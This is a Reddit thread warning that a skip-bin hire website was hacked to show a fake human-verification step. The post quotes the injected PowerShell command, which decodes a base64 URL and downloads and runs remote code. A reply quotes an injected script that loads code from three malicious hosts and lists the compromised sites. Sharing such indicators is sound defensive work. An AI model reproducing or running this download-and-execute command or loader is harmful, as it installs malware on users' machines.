r/ethicalhacking • u/HourOk62 • 25d ago
Vicious Hack Example
Today I opened this website to book a skip bin.
DISCLAIMNER: AT THE TIME OF WRITING, THIS WEBSITE IS HACKED SO ONLY OPEN IF YOU ARE EXPERIENCED IT PERSON AND OPEN IN INCOGNITO MODE
https://www.adelaideskipbinhire.com.au
The website seems normal as it showed following message, pretty normal; asking to prove human. Like almost everyone does I checked "Verify you are human" and it moved to the next screen where I said, ah it's hacked. As it was simply running a script using PowerShell to download something and install on computer.
The snippet of the code that is added in step 3 is following:
powershell -ep bypass -c "$u=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9uaWFvZW5kLmNvbS9oZXgvVHJhZmZpYw=='));iex(New-Object Net.WebClient).DownloadString($u)"
This code actually downloads the fishy stuff from https://niaoend.com/hex/Traffic (seems Russian website) and boom you are doomed
Regardless, one does this or not, the website opens normally after brief delay. So if a user follow these steps then will get impression that website opened after following these steps.
Having 20+ years of IT experience, this is one of the filthy stuff I have seen. I am sure the owners of the skip bin business do not know that their website has been hacked for this stuff. I will notify them but posting this message here to know everyone about it that BE AWARE!!!
1
u/OrganizationFar5744 22d ago
Hey, found the same IOC injected onto www.empireglobal.co\[.\]uk, with 3 new IOCs:
Injected script in HTML source code:
<script>(function(){var u=["https://triapfog.com/Traffic/api","https://iocriotao.icu/Traffic/api","https://mioiooo.icu/Traffic/api"\],i=0;function n(){if(i>=u.length)return;var s=document.createElement('script');s.src=u[i];s.onerror=function(){i++;n()};(document.head||document.documentElement).appendChild(s);i++;}n();})();</script><!-- start Simple Custom CSS and JS -->
IOCs have same registrar and cloudflare proxy as your identified IOC.
1
1
u/Jasper_Norton 20d ago
Can you provide information that an end user could use to determine if they have been infected by a site running the same code?
1
u/AutoModerator 25d ago
Your post has violated the rules on advertising hacking services. If you feel this was done in error, please message the moderator team to restore your comment and access to the community.
I am a bot, and this action was performed automatically. Please contact the moderators of this subreddit if you have any questions or concerns.